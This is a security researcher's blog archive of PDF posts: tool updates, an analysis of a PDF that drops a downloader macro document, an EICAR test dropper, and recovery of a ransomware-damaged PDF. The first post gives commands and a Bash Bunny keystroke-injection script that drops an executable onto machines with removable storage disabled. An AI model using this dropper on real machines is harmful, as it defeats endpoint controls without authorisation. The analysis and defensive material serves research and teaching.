Didier Stevens

Monday 24 April 2017

Bash Bunny PDF Dropper

Filed under: Hardware,My Software,PDF — Didier Stevens @ 0:00

More than 5 years ago, I worked out a technique to drop any file on a machine which has removable storage disabled. The technique used a Teensy to simulate a keyboard and type out a pure ASCII PDF to notepad. The PDF, containing an embedded executable, can then be saved and opened with a PDF reader to extract the embedded file.

I recently re-visited this technique with my Bash Bunny (it can also be done with a Rubber Ducky):

First I create a pure ASCII PDF file with an embedded executable using my make-pdf-embedded.py tool:

make-pdf-embedded.py -f fi80 -t -n Dialog42.exe.txt Dialog42.exe Dialog42.pdf

Option -f select the filters to use: f to deflate (zlib compress) and i80 to use hexadecimal lines of 80 characters to encode the compressed executable file in pure ASCII.

Option -t for pure text.

Option -n to choose the name used in the PDF document for the embedded file (files with extension .exe can not be extracted with Adobe Reader).

And then I create a Ducky Script script from the PDF with my python-per-line.py tool:

python-per-line.py "Duckify({})" -o payload.duck Dialog42.pdf

The payload.duck file can then be installed on my Bash Bunny, referenced from a payload.txt bash script like this:


#!/bin/bash

ATTACKMODE HID

QUACK SET_LANGUAGE be

QUACK GUI r
QUACK DELAY 500
QUACK STRING notepad.exe
QUACK ENTER
QUACK DELAY 1000

QUACK switch1/payload.duck

Here is a video showing my Bash Bunny dropping this PDF file:

Thursday 20 April 2017

Malicious Documents: The Matryoshka Edition

Filed under: maldoc,Malware,PDF — Didier Stevens @ 0:02

I must admit that I was (patiently) waiting for the type of malicious document I’m about to describe now. First I’m going to analyze this document with my tools, and after that I’m going to show you some of the mitigations put in place by Adobe and Microsoft.

Malicious document 123-148752488-reg-invoice.pdf is a PDF with an embedded file and JavaScript. Here is pdfid’s report:

As we can notice from this report, the PDF document contains /JavaScript and an /OpenAction to launch this JavaScript upon opening of the PDF file, and also an /EmbeddedFile.

pdf-parser.py searching for JavaScript (option -s javascript) reveals that the JavaScript is in object 5:

Object 5 contains JavaScript (option -o 5 to select object 5, and option -f to decompress the stream with JavaScript):

This script (this.exportDataObject) will save the embedded file (996502.docm) to a temporary file and launch the associated application (if MS Office is installed, Word will be launched). A .docm file is a Word document with macros.

So let’s search for this embedded file:

The embedded file is stored in object 3, as a compressed stream (/FlateDecode).

So let’s decompress and extract the file with pdf-parser: option -f to filter (decompress) and option -d to dump the content. Since I expect the embedded file to be a Word document with macros, I’m going to analyze it with oledump. So in stead of writing the embedded file to disk, I’m going to extract it to stdout (-d -) and pipe it into oledump:

oledump‘s report confirms that it is a Word document with macros. I’m not going to spend much time on the analysis of the VBA code, because the intent of the code becomes clear when we extract all the strings found in the VBA code. First we select and extract all VBA code (options -s a -v) and then we pipe this into re-search to produce a list of unique strings (enclosed in double quotes) with these options: -n str -u

One of the extracted strings contains 3 URLs separated by character V. The macros will download an XOR encoded EXE file from these sites, decode it and execute it.

Mitigations

The first mitigation is in Adobe Reader: the embedded .docm file will not be extracted and launched without user interaction. First the user is presented a dialog box:

Only when clicking OK (the default option), will the .docm file be extracted and launched. Remark that the maldoc authors use some weak social engineering to entice the user to click OK: see in 996502.

When opened in Word, macros will be disabled:

This next mitigation is put into place by Microsoft Word: macros are detected, and by default, they are not executed. Here we see a better attempt at social engineering the user into executing the macros.

You might have expected that this document would be opened in Protected View first. After all, the PDF document was e-mailed to the victims, and Outlook will mark the PDF with a mark-of-web when it is saved to disk:

But Adobe Reader will not propagate that mark-of-web of the PDF document to the extracted Word document (at least the version I tested, version XI). Without mark-of-web, Word will open the document without Protected View.

Another simple mitigation for this type of malicious document that you can put into place but that is not enabled by default, is to disable JavaScript in Adobe Reader.

Remark that these documents do not contain exploits: they just use scripting.

Wednesday 28 December 2016

Update: pdf-parser Version 0.6.7

Filed under: My Software,PDF,Update — Didier Stevens @ 12:03

I added option -k to search for keys in dictionaries. A usage example can be found in blog post “PDF Analysis: Back To Basics“.

pdf-parser_V0_6_7.zip (https)
MD5: D04D7DA42F3263139BC2C7E7B2621C91
SHA256: ED863DE952A5096FF4BE0825110D2726BA1BE75A7A6717AF0E6A153B843E3B78

Saturday 30 July 2016

Bugfix: pdf-parser Version 0.6.5

Filed under: My Software,PDF,Update — Didier Stevens @ 16:19

This is a bugfix for pdf-parser. Streams were not properly extracted when they started with whitespace after the normal whitespace following the stream keyword.

pdf-parser_V0_6_5.zip (https)
MD5: 7F0880EB8A954979CA0ADAB2087E1C55
SHA256: E7D2CCA12CC43D626C53873CFF0BC0CE2875330FD5DBC8FB23B07396382DCC85

Tuesday 7 June 2016

Recovering A Ransomed PDF

Filed under: PDF — Didier Stevens @ 0:00

I was contacted to help with a PDF file encrypted by ransomware. Just like another case I helped with, the file was not completely encrypted. The file had parts with low entropy, as byte-stats.py shows:

20160606-220414

Searching for endobj, I noticed the file contained PDF objects:

20160606-221145

So I stripped the beginning of the file that was encrypted:

20160606-221331

This file can be parsed by pdf-parser. Now I’m going to try to rebuild this PDF. First I check if it contains an object referencing all pages:

20160606-221658

As you can see, it doesn’t. So I will add the missing objects:

20160606-222040

Object 2 (the missing /Pages object) needs to reference all pages still present in the document (/Kids list). I make a list of all /Page objects with the following command:

20160606-222418

And then I update object 2 /Pages with the 87 /Page objects I found (dictionary entries /Kids and /Count):

20160606-222617

When I open this PDF with a PDF reader, I get 87 pages. All of them are blank, except the last one:

20160606-222854

The pages are blank because of missing fonts definitions:

20160606-223238

I add some generic font definitions:

20160606-223431

This gives me the following PDF:

20160606-223618

AS you can see, not all text is readable, that’s because I did not select the right font. Some trial and error with different fonts would allow me to further recover the document.

This method can also help you with corrupt PDF documents. Of course, this is not a complete recovery. We miss the first pages that were encrypted.

Monday 21 September 2015

PDF + DOC + VBAs Videos

Filed under: Malware,PDF — Didier Stevens @ 10:46

I produced videos showing how I created my “Test File: PDF With Embedded DOC Dropping EICAR” and how to change the settings in Adobe Reader to mitigate this.

Friday 28 August 2015

Test File: PDF With Embedded DOC Dropping EICAR

Filed under: PDF — Didier Stevens @ 9:30

Over at the SANS ISC diary I wrote a diary entry on the analysis of a PDF file that contains a malicious DOC file.

For testing purposes, I created a PDF file that contains a DOC file that drops the EICAR test file.

The PDF file contains JavaScript that extracts and opens the DOC file (with user approval). The DOC file contains a VBA script that executes upon opening of the file, and writes the EICAR test file to a temporary file in the %TEMP% folder.

20150828-00751

You can download the PDF file here. It is in a password protected ZIP file. The password is eicardropper, with eicar written in uppercase: EICAR.

This will generate an anti-virus alert. Use at your own risk, with approval.
pdf-doc-vba-eicar-dropper.zip (https)
MD5: 65928D03CDF37FEDD7C99C33240CD196
SHA256: 48258AEC3786CB9BA032CD09DB09DC66E0EC8AA19677C299678A473895E79369

Thursday 13 August 2015

Update: pdf-parser Version 0.6.4

Filed under: Malware,My Software,PDF,Update — Didier Stevens @ 0:00

In this new version of pdf-parser, option -H will now also calculate the MD5 hashes of the unfiltered and filtered stream of selected objects, and also dump the first 16 bytes. I needed this to analyze a malicious PDF that embeds a .docm file.

20150812-215754

As you can see in this screenshot, the embedded file is a ZIP file (PK). .docm files are actually ZIP files.

pdf-parser_V0_6_4.zip (https)
MD5: 47A4C70AA281E1E80A816371249DCBD6
SHA256: EC8E64E3A74FCCDB7828B8ECC07A2C33B701052D52C43C549115DDCD6F0F02FE

Wednesday 29 April 2015

pdf-parser: A Method To Manipulate PDFs Part 2

Filed under: My Software,PDF — Didier Stevens @ 0:00

I provide 2 days of Hacking PDF training at HITB Amsterdam. This is one of the methods I teach.

Maarten Van Horenbeeck posted a diary entry (July 2008) explaining how scripts and data are stored in PDF documents (using streams), and demonstrated a Perl script to decompress streams. A couple of months before, I had started developing my pdf-parser tool, and Maarten’s diary entry motivated me to continue adding features to pdf-parser.

Extracting and decompressing a stream (for example containing a JavaScript script) is easy with pdf-parser. You select the object that contains the stream (example object 5: -o 5) and you “filter” the content of the stream (-f ). The command is:

pdf-parser.py –o 5 –f sample.pdf

In PDF jargon, streams are compressed using filters. You have all kinds of filters, for example ZLIB DEFLATE, but also lossy compressions like JPEG. pdf-parser supports a couple of filters, but not all, because the implementation of some of them (mostly the lossy ones) differs between vendors and PDF applications.

 

A recent article published by Virus Bulletin on JavaScript stored inside a lossy stream gave me the opportunity to implement a method I had worked out manually.

The problem: you need to decompress a stream and you have no decompression algorithm.

The solution: you use the PDF application to decompress the stream.

The method: you create a new PDF document with the stream as embedded file, and then save the embedded file using the PDF application.

The detailed method: when you need to decompress a stream for which you have no decompressor (or no decompressor identical to the target application), you create a new PDF document into which you include the object with the stream as an embedded file. PDF documents support embedded files. For example, if you have a PDF document explaining a financial method, you can include a spreadsheet in the PDF document as an embedded file. The embedded file is stored as an object with a stream, and the compression can be any method supported by the PDF application. Crafting this PDF document with embedded file manually requires many manipulations and calculations, and is thus a very good candidate for automation.

Figure: this PDF embeds a file called vbanner2.jpg

With pdf-parser, you can use this method as follows:

  1. Create a Python program that generates the PDF document with embedded file. Use pdf-parser like this (in this example, the data stream you want to decompress is in object 5 of PDF file sample.pdf): pdf-parser.py –generateembedded 5 sample.pdf > embedded.py
  2. Execute the Python program to create the PDF file: embedded.py embedded.pdf
  3. Open the created PDF file embedded.pdf with the target application (Adobe Reader for the Virus Bulletin example), and save the embedded file to disk
  4. The saved file contains the decompressed stream

You can find my PDF tools here.

Remark: the generated Python program requires my module mPDF.py, which can also be found on my PDF tools page.

Remark 2: don’t use this method when the stream contains an exploit for the decompressor.

Thursday 16 April 2015

pdf-parser: A Method To Manipulate PDFs Part 1

Filed under: My Software,PDF,Update — Didier Stevens @ 0:00

I provide 2 days of Hacking PDF training at HITB Amsterdam. This is one of the methods I teach.

Sometimes when I analyze PDF documents (benign or malicious), I want to reduce the PDF to its essential objects. But when one removes objects in a PDF, indexes need to be updated and references updated/removed. To automate this process as much as possible, I updated my pdf-parser program to generate a Python program that in turn, generates the original PDF.

Thus when I want to make changes to the PDF (like removing objects), I generate its corresponding Python program, and then I edit this Python program.

I do this simply with option -g.

20150415-233047

Then you can edit the Python program, and when you run it, it will generate a new PDF file.

You can also use option -g together with option -f to filter the streams before they are inserted in the Python program. This gives you the decompressed streams in the Python program, opening them up to editing.

In this example, without option -f the Python statement for the stream object is:

oPDF.stream(5, 0, 'x\x9cs\nQ\xd0w3T02Q\x08IS040P0\x07\xe2\x90\x14\x05\r\x8f\xd4\x9c\x9c|\x85\xf0\xfc\xa2\x9c\x14M\x85\x90,\x05\xd7\x10\x00\xdfn\x0b!', '<<\r\n /Length %d\r\n /Filter /FlateDecode\r\n>>')

And with option -f, it becomes:

oPDF.stream2(5, 0, 'BT /F1 24 Tf 100 700 Td (Hello World) Tj ET', '', 'f')

The generated Python program relies on my mPDF library found in my PDF make tools.

pdf-parser_V0_6_2.zip (https)
MD5: D6717F1CA6B9DA2392E63F0DABF590DD
SHA256: 4DC0136062E9A5B6D84C74696005531609BD0299887B70DDFFAA19115BF2E746

Next Page »

Blog at WordPress.com.